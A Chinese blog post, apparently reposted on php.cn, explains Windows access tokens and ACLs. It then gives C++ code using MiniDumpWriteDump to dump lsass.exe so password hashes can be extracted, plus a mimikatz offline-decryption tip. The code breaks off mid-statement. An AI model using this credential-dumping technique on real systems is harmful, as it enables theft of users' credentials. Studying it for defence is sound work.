0x1 前置理论
访问令牌(Access Token)是描述进程或线程安全上下文的对象。它包含与进程或线程关联的用户账户的身份和权限信息。
访问令牌分为两种类型:授权令牌(Delegation Token)和模拟令牌(Impersonation Token)。
访问令牌包含以下信息:
授权令牌(Delegation Token)用于交互式会话登录(如本地用户登录、远程桌面等)。
模拟令牌(Impersonation Token)用于非交互式登录(如 net user、远程共享访问)。
当用户登录计算机后,会生成一个访问令牌。该令牌在用户创建进程或线程时会被复制一份,用于描述与该进程相关联的用户账户的安全上下文。默认情况下,当进程的线程与安全对象交互时,系统使用授权令牌。此外,线程可以模拟客户账户。模拟允许线程使用客户端的安全上下文与安全对象进行交互。模拟客户端的线程同时具有授权令牌和模拟令牌。当用户注销后,系统会将授权令牌转换为模拟令牌,并在重启系统后清除。
安全对象是可以拥有安全描述符的对象,所有命名的 Windows 对象都是安全对象。一些未命名的对象,例如进程和线程对象也可以拥有安全描述符。对于大多数的安全对象来说,我们可以在创建对象的函数调用中指定对象的安全描述符。
安全描述符包含与安全对象关联的安全信息。安全描述符由 SECURITY_DESCRIPTOR 结构及其关联的安全信息组成。安全描述符可以包括以下安全信息:
访问控制列表(Access Control Lists,ACL)是访问控制条目(ACE)的列表。ACL 中每个 ACE 都标示一个受托者,并为该受托者指定访问权限。安全对象的安全描述符可以包含两种类型的 ACL:DACL 和 SACL。
自由访问控制列表(DACL)标示允许或者拒绝访问安全对象的受托人。当进程试图访问安全对象时,系统会检查对象的 DACL 中的 ACE,以确定是否授予对它的访问权限。如果对象没有 DACL,系统会授予每个人 Full Access 权限。如果对象的 DACL 没有 ACE,系统将拒绝所有访问该对象的尝试,因为 DACL 中没有可以通过匹配的 ACE 条目。系统按顺序检查 ACE,直到它找到一个或多个允许所有请求的访问权限的 ACE,或者直到任何一个请求的访问权限被拒绝。
系统访问控制列表(SACL)使管理员能够记录访问受保护对象的尝试。每个 ACE 指定特定受托者进行的访问尝试的类型,这些访问尝试会导致系统在安全事件日志中生成记录。SACL 中的 ACE 可以在访问尝试失败和/或成功时生成审计记录。
受托人是应用访问控制条目(ACE)的用户账户、组账户或者登录会话。访问控制列表(ACL)中的每个 ACE 都有一个标示受托人的安全描述符(SID)。
根据前置知识,我们可以了解用户登录系统后创建进程、线程,程序访问安全对象时的权限情况。
当用户登录计算机,凭证验证通过后便会拿到一份访问令牌(Access Token)。该 Token 在我们创建进程或线程时会被使用,复制 explorer.exe 中的该用户的访问令牌到新的进程/线程中用以权限分配。
当程序访问安全对象时,安全对象会检测自身的 DACL。若 DACL 不存在,则对所有程序开放访问权限;若 DACL 存在,会按顺序查找 DACL 内的 ACL 与程序的访问令牌比较判断,判断其是否具有访问权限。
MiniDumpWriteDump 函数:
BOOL MiniDumpWriteDump( [in] HANDLE hProcess, [in] DWORD ProcessId, [in] HANDLE hFile, [in] MINIDUMP_TYPE DumpType, [in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, [in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
函数结构如上所示,可利用此函数将进程转储。本文将 Lsass.exe 转储用以提取 Hash。
0x2 实现代码:
#include<iostream> #include<windows.h> #include<tlhelp32.h> #include<dbghelp.h> #include<tchar.h> #pragma comment(lib,"DbgHelp.lib") int main() { HANDLE LsassHandle = NULL; HANDLE OutFile = CreateFile(L"LSASS.DMP",GENERIC_WRITE|GENERIC_READ,0,NULL,CREATE_ALWAYS,NULL,NULL); DWORD PID; HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); PROCESSENTRY32 Entry; Entry.dwSize = sizeof(PROCESSENTRY32); LPWSTR ProcessName; //查找lsass进程pid if (Process32First(Snapshot, &Entry)) { ProcessName = Entry.szExeFile; PID = Entry.th32ProcessID; while (_wcsicmp(L"lsass.exe",ProcessName)!=0) { Process32Next(Snapshot, &Entry); ProcessName = Entry.szExeFile; PID = Entry.th32ProcessID; } std::cout
效果展示,另外,若在解密文件时出现ERROR kuhl_m_sekurlsa_acquireLSA ; Key import,可尝试低版本 mimikatz 离线解密。如 2.1.1 版本。
0x3 参考文章
https://www.php.cn/link/9ac99aa820030753f4101f35de5ce163
https://www.php.cn/link/fe4fdc4feb7d048580b56008e6ba7bee
以上就是从转储lsass学习Windows安全的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号